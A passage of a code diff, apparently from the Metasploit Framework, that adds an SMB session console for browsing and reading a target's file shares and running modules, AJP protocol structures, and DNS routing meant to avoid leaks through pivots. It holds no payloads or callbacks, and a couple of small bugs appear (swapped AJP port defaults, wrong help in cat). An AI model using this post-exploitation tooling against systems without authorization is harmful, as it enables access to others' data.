+1598,6 @@ class Console::CommandDispatcher::Core return true end - def cmd_resource_help - print_line "Usage: resource path1 [path2 ...]" - print_line - print_line "Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)" - print_line "Resource files may also contain ERB or Ruby code between tags." - print_line - end - - def cmd_resource(*args) - if args.empty? - cmd_resource_help - return false - end - - args.each do |res| - good_res = nil - if res == '-' - good_res = res - elsif ::File.exist?(res) - good_res = res - elsif - # let's check to see if it's in the scripts/resource dir (like when tab completed) - [ - ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter', - ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter' - ].each do |dir| - res_path = dir + ::File::SEPARATOR + res - if ::File.exist?(res_path) - good_res = res_path - break - end - end - end - if good_res - client.console.load_resource(good_res) - else - print_error("#{res} is not a valid resource file") - next - end - end - end - - def cmd_resource_tabs(str, words) - tabs = [] - #return tabs if words.length > 1 - if ( str and str =~ /^#{Regexp.escape(::File::SEPARATOR)}/ ) - # then you are probably specifying a full path so let's just use normal file completion - return tab_complete_filenames(str,words) - elsif (not words[1] or not words[1].match(/^\//)) - # then let's start tab completion in the scripts/resource directories - begin - [ - ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter', - ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter', - '.' - ].each do |dir| - next if not ::File.exist? dir - tabs += ::Dir.new(dir).find_all { |e| - path = dir + ::File::SEPARATOR + e - ::File.file?(path) and ::File.readable?(path) - } - end - rescue Exception - end - else - tabs += tab_complete_filenames(str,words) - end - return tabs - end - def cmd_enable_unicode_encoding client.encode_unicode = true print_status('Unicode encoding is enabled') diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index ae5ec1be67..873fff267b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -90,6 +90,7 @@ class Console::CommandDispatcher::Stdapi::Fs 'getwd' => 'Print working directory', 'lcat' => 'Read the contents of a local file to the screen', 'lcd' => 'Change local working directory', + 'lmkdir' => 'Create new directory on local machine', 'lpwd' => 'Print local working directory', 'ls' => 'List files', 'lls' => 'List local files', @@ -117,6 +118,7 @@ class Console::CommandDispatcher::Stdapi::Fs 'getwd' => [COMMAND_ID_STDAPI_FS_GETWD], 'lcat' => [], 'lcd' => [], + 'lmkdir' => [], 'lpwd' => [], 'ls' => [COMMAND_ID_STDAPI_FS_STAT, COMMAND_ID_STDAPI_FS_LS], 'lls' => [], @@ -390,6 +392,27 @@ class Console::CommandDispatcher::Stdapi::Fs tab_complete_directory(str, words) end + # + # Create new directory on local machine + # + def cmd_lmkdir(*args) + if (args.length == 0) + print_line("Usage: lmkdir ") + return + end + + args.each do |path| + begin + ::FileUtils.mkdir_p(path) + print_line("Directory '#{path}' created successfully.") + rescue ::StandardError => e + print_error("Error creating #{path} directory: #{e}") + end + end + + + end + # # Retrieve the checksum of a file # diff --git a/lib/rex/post/smb.rb b/lib/rex/post/smb.rb new file mode 100644 index 0000000000..3fac573bd3 --- /dev/null +++ b/lib/rex/post/smb.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/smb/ui' diff --git a/lib/rex/post/smb/ui.rb b/lib/rex/post/smb/ui.rb new file mode 100644 index 0000000000..a0ce55fa81 --- /dev/null +++ b/lib/rex/post/smb/ui.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/smb/ui/console' diff --git a/lib/rex/post/smb/ui/console.rb b/lib/rex/post/smb/ui/console.rb new file mode 100644 index 0000000000..c2ad8d49b7 --- /dev/null +++ b/lib/rex/post/smb/ui/console.rb @@ -0,0 +1,145 @@ +# -*- coding: binary -*- + +require 'English' +module Rex + module Post + module SMB + module Ui + ### + # + # This class provides a shell driven interface to the RubySMB client API. + # + ### + class Console + + include Rex::Ui::Text::DispatcherShell + + # Dispatchers + require 'rex/post/smb/ui/console/command_dispatcher' + require 'rex/post/smb/ui/console/command_dispatcher/core' + require 'rex/post/smb/ui/console/command_dispatcher/shares' + require 'rex/post/smb/ui/console/command_dispatcher/modules' + + # + # Initialize the SMB console. + # + # @param [Msf::Sessions::SMB] session + def initialize(session) + if Rex::Compat.is_windows + super('smb') + else + super('%undSMB%clr', '>', Msf::Config.smb_session_history, nil, :smb) + end + + # The ruby smb client context + self.session = session + self.client = session.client + + # Queued commands array + self.commands = [] + + # Point the input/output handles elsewhere + reset_ui + + enstack_dispatcher(Rex::Post::SMB::Ui::Console::CommandDispatcher::Core) + enstack_dispatcher(Rex::Post::SMB::Ui::Console::CommandDispatcher::Shares) + enstack_dispatcher(Rex::Post::SMB::Ui::Console::CommandDispatcher::Modules) + + # Set up logging to whatever logsink 'core' is using + if !$dispatcher['smb'] + $dispatcher['smb'] = $dispatcher['core'] + end + end + + # + # Called when someone wants to interact with the smb client. It's + # assumed that init_ui has been called prior. + # + def interact(&block) + # Run queued commands + commands.delete_if do |ent| + run_single(ent) + true + end + + # Run the interactive loop + run do |line| + # Run the command + run_single(line) + + # If a block was supplied, call it, otherwise return false + if block + block.call + else + false + end + end + end + + # + # Queues a command to be run when the interactive loop is entered. + # + def queue_cmd(cmd) + commands << cmd + end + + # + # Runs the specified command wrapper in something to catch meterpreter + # exceptions. + # + def run_command(dispatcher, method, arguments) + super + rescue Timeout::Error + log_error('Operation timed out.') + rescue Rex::InvalidDestination => e + log_error(e.message) + rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError + session.kill + rescue ::StandardError => e + log_error("Error running command #{method}: #{e.class} #{e}") + elog(e) + end + + # + # Logs that an error occurred and persists the callstack. + # + def log_error(msg) + print_error(msg) + + elog(msg, 'smb') + + dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'smb') + end + + # @return [Msf::Sessions::SMB] + attr_reader :session + + # @return [RubySMB::Client] + attr_reader :client # :nodoc: + + # @return [RubySMB::SMB2::Tree] + attr_accessor :active_share + + # @return [String] + attr_accessor :cwd + + def format_prompt(val) + if active_share + share_name = active_share.share[/[^\\].*$/, 0] + cwd = self.cwd.blank? ? '' : "\\#{self.cwd}" + return substitute_colors("%undSMB%clr (#{share_name}#{cwd}) > ", true) + end + + super + end + + protected + + attr_writer :session, :client # :nodoc: # :nodoc: + attr_accessor :commands # :nodoc: + + end + end + end + end +end diff --git a/lib/rex/post/smb/ui/console/command_dispatcher.rb b/lib/rex/post/smb/ui/console/command_dispatcher.rb new file mode 100644 index 0000000000..1fd99dd137 --- /dev/null +++ b/lib/rex/post/smb/ui/console/command_dispatcher.rb @@ -0,0 +1,114 @@ +# -*- coding: binary -*- + +require 'English' +require 'rex/ui/text/dispatcher_shell' + +module Rex + module Post + module SMB + module Ui + ### + # + # Base class for all command dispatchers within the SMB console user + # interface. + # + ### + module Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher::Session + + # + # Initializes an instance of the core command set using the supplied session and client + # for interactivity. + # + # @param [Rex::Post::SMB::Ui::Console] console + def initialize(console) + super + @msf_loaded = nil + @filtered_commands = [] + end + + # + # Returns the smb client context. + # + # @return [RubySMB::Client] + def client + console = shell + console.client + end + + # + # Returns the smb session context. + # + # @return [Msf::Sessions::SMB] + def session + console = shell + console.session + end + + # + # Returns the active share + # + # @return [RubySMB::SMB2::Tree] + def active_share + console = shell + console.active_share + end + + # + # Returns the commands that meet the requirements + # + def filter_commands(all, reqs) + all.delete_if do |cmd, _desc| + if reqs[cmd]&.any? { |req| !client.commands.include?(req) } + @filtered_commands << cmd + true + end + end + end + + def unknown_command(cmd, line) + if @filtered_commands.include?(cmd) + print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})") + return :handled + end + + super + end + + # + # Return the subdir of the `documentation/` directory that should be used + # to find usage documentation + # + def docs_dir + File.join(super, 'smb_session') + end + + # + # Returns true if the client has a framework object. + # + # Used for firing framework session events + # + def msf_loaded? + return @msf_loaded unless @msf_loaded.nil? + + # if we get here we must not have initialized yet + + @msf_loaded = !session.framework.nil? + @msf_loaded + end + + # + # Log that an error occurred. + # + def log_error(msg) + print_error(msg) + + elog(msg, 'smb') + + dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'smb') + end + end + end + end + end +end diff --git a/lib/rex/post/smb/ui/console/command_dispatcher/core.rb b/lib/rex/post/smb/ui/console/command_dispatcher/core.rb new file mode 100644 index 0000000000..84d4926162 --- /dev/null +++ b/lib/rex/post/smb/ui/console/command_dispatcher/core.rb @@ -0,0 +1,61 @@ +# -*- coding: binary -*- + +require 'rex/post/smb' + +module Rex + module Post + module SMB + module Ui + ### + # + # Core SMB client commands + # + ### + class Console::CommandDispatcher::Core + + include Rex::Post::SMB::Ui::Console::CommandDispatcher + + # + # Initializes an instance of the core command set using the supplied session and client + # for interactivity. + # + # @param [Rex::Post::SMB::Ui::Console] console + + # + # List of supported commands. + # + def commands + cmds = { + '?' => 'Help menu', + 'background' => 'Backgrounds the current session', + 'bg' => 'Alias for background', + 'exit' => 'Terminate the SMB session', + 'help' => 'Help menu', + 'irb' => 'Open an interactive Ruby shell on the current session', + 'pry' => 'Open the Pry debugger on the current session', + 'sessions' => 'Quickly switch to another session' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Core + # + def name + 'Core' + end + + def unknown_command(cmd, line) + status = super + + status + end + + end + end + end + end +end diff --git a/lib/rex/post/smb/ui/console/command_dispatcher/modules.rb b/lib/rex/post/smb/ui/console/command_dispatcher/modules.rb new file mode 100644 index 0000000000..a9403a2075 --- /dev/null +++ b/lib/rex/post/smb/ui/console/command_dispatcher/modules.rb @@ -0,0 +1,95 @@ +# -*- coding: binary -*- + +require 'pathname' + +module Rex + module Post + module SMB + module Ui + ### + # + # SMB client commands for running modules + # + ### + class Console::CommandDispatcher::Modules + + include Rex::Post::SMB::Ui::Console::CommandDispatcher + + + # + # List of supported commands. + # + def commands + cmds = { + 'run' => 'Run a module' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Modules + # + def name + 'Modules' + end + + def cmd_run_help + print_line 'Usage: Modules' + print_line + print_line 'Run a module.' + print_line + end + + # + # Executes a module/script in the context of the smb session. + # + def cmd_run(*args) + if args.empty? || args.first == '-h' || args.first == '--help' + cmd_run_help + return true + end + + # Get the script name + begin + script_name = args.shift + # First try it as a module if we have access to the Metasploit + # Framework instance. If we don't, or if no such module exists, + # fall back to using the scripting interface. + if msf_loaded? && (mod = session.framework.modules.create(script_name)) + original_mod = mod + reloaded_mod = session.framework.modules.reload_module(original_mod) + + unless reloaded_mod + error = session.framework.modules.module_load_error_by_path[original_mod.file_path] + print_error("Failed to reload module: #{error}") + + return + end + + opts = '' + + opts << (args + [ "SESSION=#{session.sid}" ]).join(',') + result = reloaded_mod.run_simple( + 'LocalInput' => shell.input, + 'LocalOutput' => shell.output, + 'OptionStr' => opts + ) + + print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session) + else + # the rest of the arguments get passed in through the binding + session.execute_script(script_name, args) + end + rescue StandardError => e + print_error("Error in script: #{script_name}") + elog("Error in script: #{script_name}", error: e) + end + end + end + end + end + end +end diff --git a/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb b/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb new file mode 100644 index 0000000000..e2a89f08fa --- /dev/null +++ b/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb @@ -0,0 +1,322 @@ +# -*- coding: binary -*- + +require 'pathname' + +module Rex + module Post + module SMB + module Ui + ### + # + # Core SMB client commands + # + ### + class Console::CommandDispatcher::Shares + + include Rex::Post::SMB::Ui::Console::CommandDispatcher + + # + # Initializes an instance of the core command set using the supplied console + # for interactivity. + # + # @param [Rex::Post::SMB::Ui::Console] console + def initialize(console) + super + + @share_search_results = [] + end + + @@shares_opts = Rex::Parser::Arguments.new( + ['-h', '--help'] => [false, 'Help menu' ], + ['-l', '--list'] => [ false, 'List all shares'], + ['-i', '--interact'] => [ true, 'Interact with the supplied share ID', ''] + ) + + @@ls_opts = Rex::Parser::Arguments.new( + ['-h', '--help'] => [false, 'Help menu' ] + ) + + @@pwd_opts = Rex::Parser::Arguments.new( + ['-h', '--help'] => [false, 'Help menu' ] + ) + + @@cd_opts = Rex::Parser::Arguments.new( + ['-h', '--help'] => [false, 'Help menu' ] + ) + + @@cat_opts = Rex::Parser::Arguments.new( + ['-h', '--help'] => [false, 'Help menu' ] + ) + + # + # List of supported commands. + # + def commands + cmds = { + 'shares' => 'View the available shares and interact with one', + 'ls' => 'List all files in the current directory', + 'pwd' => 'Print the current remote working directory', + 'cd' => 'Change the current remote working directory', + 'cat' => 'Read the file at the given path' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Shares + # + def name + 'Shares' + end + + # + # View and interact with shares + # + def cmd_shares(*args) + if args.include?('-h') || args.include?('--help') + cmd_shares_help + return + end + + method = :list + share_name = nil + + # Parse options + @@shares_opts.parse(args) do |opt, _idx, val| + case opt + when '-l', '--list' + when '-i', '--interact' + share_name = val + method = :interact + end + end + + # Perform action + case method + when :list + @share_search_results = client.net_share_enum_all(session.address) + @valid_share_names = @share_search_results.map { |result| result[:name] } + + table = Rex::Text::Table.new( + 'Header' => 'Shares', + 'Indent' => 4, + 'Columns' => %w[# Name Type comment], + 'Rows' => @share_search_results.map.with_index do |share, i| + [i, share[:name], share[:type], share[:comment]] + end + ) + + print_line table.to_s + when :interact + # Share names can be comprised only of digits so prioritise a share name over the share index + if share_name.match?(/\A\d+\z/) && !@valid_share_names.include?(share_name) + share_name = (@share_search_results[share_name.to_i] || {})[:name] + end + + if share_name.nil? + print_error('Invalid share name') + return + end + + path = "\\\\#{session.address}\\#{share_name}" + begin + shell.active_share = client.tree_connect(path) + shell.cwd = '' + print_good "Successfully connected to #{share_name}" + rescue StandardError => e + log_error("Error running action #{method}: #{e.class} #{e}") + end + end + end + + def cmd_shares_tabs(_str, words) + return [] if words.length > 1 + + @@shares_opts.option_keys + end + + def cmd_shares_help + print_line 'Usage: shares' + print_line + print_line 'View the shares available on the remote target.' + print @@shares_opts.usage + end + + # + # Display the contents of your current working directory + # + def cmd_ls(*args) + if args.include?('-h') || args.include?('--help') + cmd_ls_help + return + end + + return print_no_share_selected unless active_share + + files = active_share.list(directory: as_ntpath(shell.cwd)) + table = Rex::Text::Table.new( + 'Header' => 'Shares', + 'Indent' => 4, + 'Columns' => [ '#', 'Type', 'Name', 'Created', 'Accessed', 'Written', 'Changed', 'Size'], + 'Rows' => files.map.with_index do |file, i| + name = file.file_name.encode('UTF-8') + create_time = file.create_time.to_datetime + last_access = file.last_access.to_datetime + last_write = file.last_write.to_datetime + last_change = file.last_change.to_datetime + if (file[:file_attributes]&.directory == 1) || (file[:ext_file_attributes]&.directory == 1) + type = 'DIR' + else + type = 'FILE' + size = file.end_of_file + end + + [i, type || 'Unknown', name, create_time, last_access, last_write, last_change, size] + end + ) + + print_line table.to_s + end + + def cmd_ls_tabs(_str, words) + return [] if words.length > 1 + + @@ls_opts.option_keys + end + + def cmd_pwd_help + print_line 'Usage: pwd' + print_line + print_line 'Print the current remote working directory.' + print_line + end + + # + # Print the current working directory + # + def cmd_pwd(*args) + if args.include?('-h') || args.include?('--help') + cmd_pwd_help + return + end + + return print_no_share_selected unless active_share + + print_line shell.cwd || '' + end + + def cmd_pwd_tabs(_str, words) + return [] if words.length > 1 + + @@pwd_opts.option_keys + end + + def cmd_cd_help + print_line 'Usage: cd ' + print_line + print_line 'Change the current remote working directory.' + print_line + end + + # + # Change directory + # + def cmd_cd(*args) + if args.include?('-h') || args.include?('--help') || args.length != 1 + cmd_cd_help + return + end + + return print_no_share_selected unless active_share + + path = args[0] + # TODO: Needs better normalization + new_path = as_ntpath(Pathname.new(shell.cwd).join(path).to_s) + begin + response = active_share.open_directory(directory: new_path) + directory = RubySMB::SMB2::File.new(name: new_path, tree: active_share, response: response, encrypt: @tree_connect_encrypt_data) + directory.close + rescue RubySMB::Error::UnexpectedStatusCode => e + # Special case this error to provide better feedback to the user + # since I think trying to `cd` to a non-existent directory is pretty likely to accidentally happen + if e.status_code == WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND + print_error("The path `#{new_path}` is not a valid directory") + end + print_error(e.message) + elog(e) + return + rescue StandardError => e + print_error('Unknown error occurred while trying to change directory') + elog(e) + return + end + + shell.cwd = new_path + end + + def cmd_cat_help + print_line 'Usage: cat ' + print_line + print_line 'Read the file at the given path.' + print_line + end + + # + # Print the contents of a file + # + def cmd_cat(*args) + if args.include?('-h') || args.include?('--help') || args.length != 1 + cmd_cd_help + return + end + + return print_no_share_selected if !active_share + + path = args[0] + # TODO: Needs better normalization + new_path = as_ntpath(Pathname.new(shell.cwd).join(path).to_s) + + begin + file = active_share.open_file(filename: new_path) + result = file.read + print_line(result) + rescue StandardError => e + print_error("#{e.class} #{e}") + return + ensure + begin + file.close if file + rescue StandardError => e + elog(e) + end + end + end + + def cmd_cd_tabs(_str, words) + return [] if words.length > 1 + + @@cat_opts.option_keys + end + + protected + + def print_no_share_selected + print_error('No active share selected') + nil + end + + def as_ntpath(path) + Pathname.new(path) + .cleanpath + .each_filename + .drop_while { |file| file == '.' || file == '..' } + .join('\\') + end + end + end + end + end +end diff --git a/lib/rex/proto/apache_j_p.rb b/lib/rex/proto/apache_j_p.rb new file mode 100644 index 0000000000..fe7e49fdaa --- /dev/null +++ b/lib/rex/proto/apache_j_p.rb @@ -0,0 +1,185 @@ +# -*- coding: binary -*- + +require 'bindata' + +# @see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html +module Rex::Proto::ApacheJP + class ApacheJPBoolean < BinData::Primitive + endian :big + + uint8 :data + + def get + self.data != 0 + end + + def set(v) + self.data = v ? 1 : 0 + end + end + + class ApacheJPString < BinData::Primitive + endian :big + + uint16 :len, value: -> { data.length } + stringz :data + + def get + self.data + end + + def set(v) + self.data = v + end + end + + class ApacheJPHeaderName < BinData::Primitive + COMMON_HEADERS = [] + + endian :big + + uint16 :len_or_code + stringz :data, onlyif: -> { len_or_code < 0xa000 } + + def get + if len_or_code >= 0xa000 + self.class::COMMON_HEADERS[(len_or_code.to_i & 0xff) - 1] + else + self.data + end + end + + def set(v) + if (idx = self.class::COMMON_HEADERS.index(v)) + self.len_or_code = 0xa000 | (idx + 1) + else + raise RuntimeError if v.length >= 0xa000 + + self.len_or_code = v.length + self.data = v + end + end + end + + class ApacheJPReqHeaderName < ApacheJPHeaderName + COMMON_HEADERS = %w{ accept accept-charset accept-encoding accept-language authorization connection content-type content-length cookie cookie2 host pragma referer user-agent } + end + + class ApacheJPResHeaderName < ApacheJPHeaderName + COMMON_HEADERS = %w{ Content-Type Content-Language Content-Length Date Last-Modified Location Set-Cookie Set-Cookie2 Servlet-Engine Status WWW-Authentication } + end + + class ApacheJPRequestHeader < BinData::Record + endian :big + + apache_jp_req_header_name :header_name + apache_jp_string :header_value + end + + class ApacheJPResponseHeader < BinData::Record + endian :big + + apache_jp_res_header_name :header_name + apache_jp_string :header_value + end + + class ApacheJPRequestAttribute < BinData::Record + CODE_CONTEXT = 1 + CODE_SERVLET_PATH = 2 + CODE_REMOTE_USER = 3 + CODE_AUTH_TYPE = 4 + CODE_QUERY_STRING = 5 + CODE_JVM_ROUTE = 6 + CODE_SSL_CERT = 7 + CODE_SSL_CIPHER = 8 + CODE_SSL_SESSION = 9 + CODE_REQ_ATTRIBUTE = 10 + CODE_TERMINATOR = 0xff + + endian :big + + uint8 :code + apache_jp_string :attribute_name, onlyif: -> { code == CODE_REQ_ATTRIBUTE } + apache_jp_string :attribute_value, onlyif: -> { code != CODE_TERMINATOR } + end + + class ApacheJPForwardRequest < BinData::Record + HTTP_METHOD_OPTIONS = 1 + HTTP_METHOD_GET = 2 + HTTP_METHOD_HEAD = 3 + HTTP_METHOD_POST = 4 + HTTP_METHOD_PUT = 5 + HTTP_METHOD_DELETE = 6 + HTTP_METHOD_TRACE = 7 + HTTP_METHOD_PROPFIND = 8 + HTTP_METHOD_PROPPATCH = 9 + HTTP_METHOD_MKCOL = 10 + HTTP_METHOD_COPY = 11 + HTTP_METHOD_MOVE = 12 + HTTP_METHOD_LOCK = 13 + HTTP_METHOD_UNLOCK = 14 + HTTP_METHOD_ACL = 15 + HTTP_METHOD_REPORT = 16 + HTTP_METHOD_VERSION_CONTROL = 17 + HTTP_METHOD_CHECKIN = 18 + HTTP_METHOD_CHECKOUT = 19 + HTTP_METHOD_UNCHECKOUT = 20 + HTTP_METHOD_SEARCH = 21 + PREFIX_CODE = 2 + + endian :big + + uint8 :prefix_code, value: PREFIX_CODE + uint8 :http_method + apache_jp_string :protocol, initial_value: 'HTTP/1.1' + apache_jp_string :req_uri + apache_jp_string :remote_addr + apache_jp_string :remote_host + apache_jp_string :server_name + uint16 :server_port, initial_value: -> { is_ssl ? 80 : 443 } + apache_jp_boolean :is_ssl, initial_value: false + uint16 :num_headers, initial_value: -> { headers.length } + array :headers, type: :apache_jp_request_header, initial_length: :num_headers + array :attributes, type: :apache_jp_request_attribute, read_until: -> { element.code == ApacheJPRequestAttribute::TERMINATOR } + end + + class ApacheJPSendBodyChunk < BinData::Record + PREFIX_CODE = 3 + + endian :big + + uint8 :prefix_code, value: PREFIX_CODE + uint16 :body_chunk_length, initial_value: -> { body_chunk.length } + string :body_chunk, read_length: :body_chunk_length + end + + class ApacheJPSendHeaders < BinData::Record + PREFIX_CODE = 4 + + endian :big + + uint8 :prefix_code, value: PREFIX_CODE + uint16 :http_status_code + apache_jp_string :http_status_msg + uint16 :num_headers, initial_value: -> { header.length } + array :headers, type: :apache_jp_response_header, initial_length: :num_headers + end + + class ApacheJPEndResponse < BinData::Record + PREFIX_CODE = 5 + + endian :big + + uint8 :prefix_code, value: PREFIX_CODE + apache_jp_boolean :reuse + end + + class ApacheJPGetBodyChunk < BinData::Record + PREFIX_CODE = 6 + + endian :big + + uint8 :prefix_code, value: PREFIX_CODE + uint16 :requested_length + end +end diff --git a/lib/rex/proto/dns/cached_resolver.rb b/lib/rex/proto/dns/cached_resolver.rb index 02c85ccc9f..1adbf0f34f 100644 --- a/lib/rex/proto/dns/cached_resolver.rb +++ b/lib/rex/proto/dns/cached_resolver.rb @@ -21,6 +21,7 @@ module DNS # # @return [nil] def initialize(config = {}) + dns_cache_no_start = config.delete(:dns_cache_no_start) super(config) self.cache = Rex::Proto::DNS::Cache.new # Read hostsfile into cache @@ -72,7 +73,7 @@ module DNS end end # TODO: inotify or similar on hostsfile for live updates? Easy-button functionality - self.cache.start unless config[:dns_cache_no_start] + self.cache.start unless dns_cache_no_start return end diff --git a/lib/rex/proto/dns/custom_nameserver_provider.rb b/lib/rex/proto/dns/custom_nameserver_provider.rb new file mode 100755 index 0000000000..bab8c55390 --- /dev/null +++ b/lib/rex/proto/dns/custom_nameserver_provider.rb @@ -0,0 +1,242 @@ +module Rex +module Proto +module DNS + + ## + # Provides a DNS resolver the ability to use different nameservers + # for different requests, based on the domain being queried. + ## + module CustomNameserverProvider + CONFIG_KEY = 'framework/dns' + + # + # A Comm implementation that always reports as dead, so should never + # be used. This is used to prevent DNS leaks of saved DNS rules that + # were attached to a specific channel. + ## + class CommSink + include Msf::Session::Comm + def alive? + false + end + + def supports_udp? + # It won't be used anyway, so let's just say we support it + true + end + + def sid + 'previous MSF session' + end + end + + def init + self.entries_with_rules = [] + self.entries_without_rules = [] + self.next_id = 0 + end + + # + # Save the custom settings to the MSF config file + # + def save_config + new_config = {} + [self.entries_with_rules, self.entries_without_rules].each do |entry_set| + entry_set.each do |entry| + key = entry[:id].to_s + val = [entry[:wildcard_rules].join(','), + entry[:dns_server], + (!entry[:comm].nil?).to_s + ].join(';') + new_config[key] = val + end + end + + Msf::Config.save(CONFIG_KEY => new_config) + end + + # + # Load the custom settings from the MSF config file + # + def load_config + config = Msf::Config.load + + with_rules = [] + without_rules = [] + next_id = 0 + + dns_settings = config.fetch(CONFIG_KEY, {}).each do |name, value| + id = name.to_i + wildcard_rules, dns_server, uses_comm = value.split(';') + wildcard_rules = wildcard_rules.split(',') + + raise Msf::Config::ConfigError.new('DNS parsing failed: Comm must be true or false') unless ['true','false'].include?(uses_comm) + raise Msf::Config::ConfigError.new('Invalid DNS config: Invalid DNS server') unless Rex::Socket.is_ip_addr?(dns_server) + raise Msf::Config::ConfigError.new('Invalid DNS config: Invalid rule') unless wildcard_rules.all? {|rule| valid_rule?(rule)} + + comm = uses_comm == 'true' ? CommSink.new : nil + entry = { + :wildcard_rules => wildcard_rules, + :dns_server => dns_server, + :comm => comm, + :id => id + } + + if wildcard_rules.empty? + without_rules << entry + else + with_rules << entry + end + + next_id = [id + 1, next_id].max + end + + # Now that config has successfully read, update the global values + self.entries_with_rules = with_rules + self.entries_without_rules = without_rules + self.next_id = next_id + end + + # Add a custom nameserver entry to the custom provider + # @param wildcard_rules [Array] The wildcard rules to match a DNS request against + # @param dns_server [Array] The list of IP addresses that would be used for this custom rule + # @param comm [Msf::Session::Comm] The communication channel to be used for these DNS requests + def add_nameserver(wildcard_rules, dns_server, comm) + raise ::ArgumentError.new("Invalid DNS server: #{dns_server}") unless Rex::Socket.is_ip_addr?(dns_server) + wildcard_rules.each do |rule| + raise ::ArgumentError.new("Invalid rule: #{rule}") unless valid_rule?(rule) + end + + entry = { + :wildcard_rules => wildcard_rules, + :dns_server => dns_server, + :comm => comm, + :id => self.next_id + } + self.next_id += 1 + if wildcard_rules.empty? + entries_without_rules << entry + else + entries_with_rules << entry + end + end + + # + # Remove entries with the given IDs + # Ignore entries that are not found + # @param ids [Array] The IDs to removed + # @return [Array] The removed entries + # + def remove_ids(ids) + removed= [] + ids.each do |id| + removed_with, remaining_with = self.entries_with_rules.partition {|entry| entry[:id] == id} + self.entries_with_rules.replace(remaining_with) + + removed_without, remaining_without = self.entries_without_rules.partition {|entry| entry[:id] == id} + self.entries_without_rules.replace(remaining_without) + + removed.concat(removed_with) + removed.concat(removed_without) + end + + removed + end + + # + # The custom nameserver entries that have been configured + # @return [Array] An array containing two elements: The entries with rules, and the entries without rules + # + def nameserver_entries + [entries_with_rules, entries_without_rules] + end + + def purge + init + end + + # The nameservers that match the given packet + # @param packet [Dnsruby::Message] The DNS packet to be sent + # @raise [ResolveError] If the packet contains multiple questions, which would end up sending to a different set of nameservers + # @return [Array] A list of nameservers, each with Rex::Socket options + # + def nameservers_for_packet(packet) + unless feature_set.enabled?(Msf::FeatureManager::DNS_FEATURE) + return super + end + # Leaky abstraction: a packet could have multiple question entries, + # and each of these could have different nameservers, or travel via + # different comm channels. We can't allow DNS leaks, so for now, we + # will throw an error here. + results_from_all_questions = [] + packet.question.each do |question| + name = question.qname.to_s + dns_servers = [] + + self.entries_with_rules.each do |entry| + entry[:wildcard_rules].each do |rule| + if matches(name, rule) + socket_options = {} + socket_options['Comm'] = entry[:comm] unless entry[:comm].nil? + dns_servers.append([entry[:dns_server], socket_options]) + break + end + end + end + + # Only look at the rule-less entries if no rules were found (avoids DNS leaks) + if dns_servers.empty? + self.entries_without_rules.each do |entry| + socket_options = {} + socket_options['Comm'] = entry[:comm] unless entry[:comm].nil? + dns_servers.append([entry[:dns_server], socket_options]) + end + end + + if dns_servers.empty? + # Fall back to default nameservers + dns_servers = super + end + results_from_all_questions << dns_servers.uniq + end + results_from_all_questions.uniq! + if results_from_all_questions.size != 1 + raise ResolverError.new('Inconsistent nameserver entries attempted to be sent in the one packet') + end + + results_from_all_questions[0] + end + + def self.extended(mod) + mod.init + end + + def set_framework(framework) + self.feature_set = framework.features + end + + private + # + # Is the given wildcard DNS entry valid? + # + def valid_rule?(rule) + rule =~ /^(\*\.)?([a-z\d][a-z\d-]*[a-z\d]\.)+[a-z]+$/ + end + + + def matches(domain, pattern) + if pattern.start_with?('*.') + domain.downcase.end_with?(pattern[1..-1].downcase) + else + domain.casecmp?(pattern) + end + end + + attr_accessor :entries_with_rules # Set of custom nameserver entries that specify a rule + attr_accessor :entries_without_rules # Set of custom nameserver entries that do not include a rule + attr_accessor :next_id # The next ID to have been allocated to an entry + attr_accessor :feature_set + end +end +end +end \ No newline at end of file diff --git a/lib/rex/proto/dns/resolver.rb b/lib/rex/proto/dns/resolver.rb index 8551ae331d..8e4aee0fd5 100644 --- a/lib/rex/proto/dns/resolver.rb +++ b/lib/rex/proto/dns/resolver.rb @@ -14,8 +14,8 @@ module DNS class Resolver < Net::DNS::Resolver Defaults = { - :config_file => "/dev/null", # default can lead to info leaks - :log_file => "/dev/null", # formerly $stdout, should be tied in with our loggers + :config_file => "/etc/resolv.conf", + :log_file => File::NULL, # formerly $stdout, should be tied in with our loggers :port => 53, :searchlist => [], :nameservers => [IPAddr.new("127.0.0.1")], @@ -110,19 +110,25 @@ module DNS end end + # + # Find the nameservers to use for a given DNS request + # @param _dns_message [Dnsruby::Message] The DNS message to be sent + # + # @return [Array] A list of nameservers, each with Rex::Socket options + # + def nameservers_for_packet(_dns_message) + @config[:nameservers].map {|ns| [ns.to_s, {}]} + end + # # Send DNS request over appropriate transport and process response # # @param argument [Object] An object holding the DNS message to be processed. # @param type [Fixnum] Type of record to look up # @param cls [Fixnum] Class of question to look up - # # @return [Dnsruby::Message] DNS response + # def send(argument, type = Dnsruby::Types::A, cls = Dnsruby::Classes::IN) - if @config[:nameservers].size == 0 - raise ResolverError, "No nameservers specified!" - end - method = self.use_tcp? ? :send_tcp : :send_udp case argument @@ -136,6 